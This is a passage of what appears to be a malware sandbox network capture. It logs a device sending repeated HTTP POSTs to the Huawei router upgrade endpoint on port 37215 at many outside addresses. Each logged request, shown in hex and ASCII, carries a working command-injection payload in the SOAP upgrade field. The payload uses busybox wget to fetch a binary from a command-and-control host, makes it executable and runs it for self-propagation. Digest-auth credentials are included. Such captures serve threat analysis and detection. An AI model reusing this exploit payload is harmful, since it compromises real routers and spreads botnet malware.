/nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	37134	41.109.176.79	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580827951 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	43396	41.47.130.185	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580882072 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	56170	197.178.25.54	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580919027 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	56096	156.247.59.73	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580966949 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	56096	197.101.32.110	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581008911 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	54068	41.108.200.158	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581027985 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	51418	156.66.41.51	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581053019 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	53138	156.240.164.252	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581074953 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	35208	156.109.46.155	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581109047 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	40090	156.77.26.3	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581132889 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	56676	41.255.127.91	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581180096 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 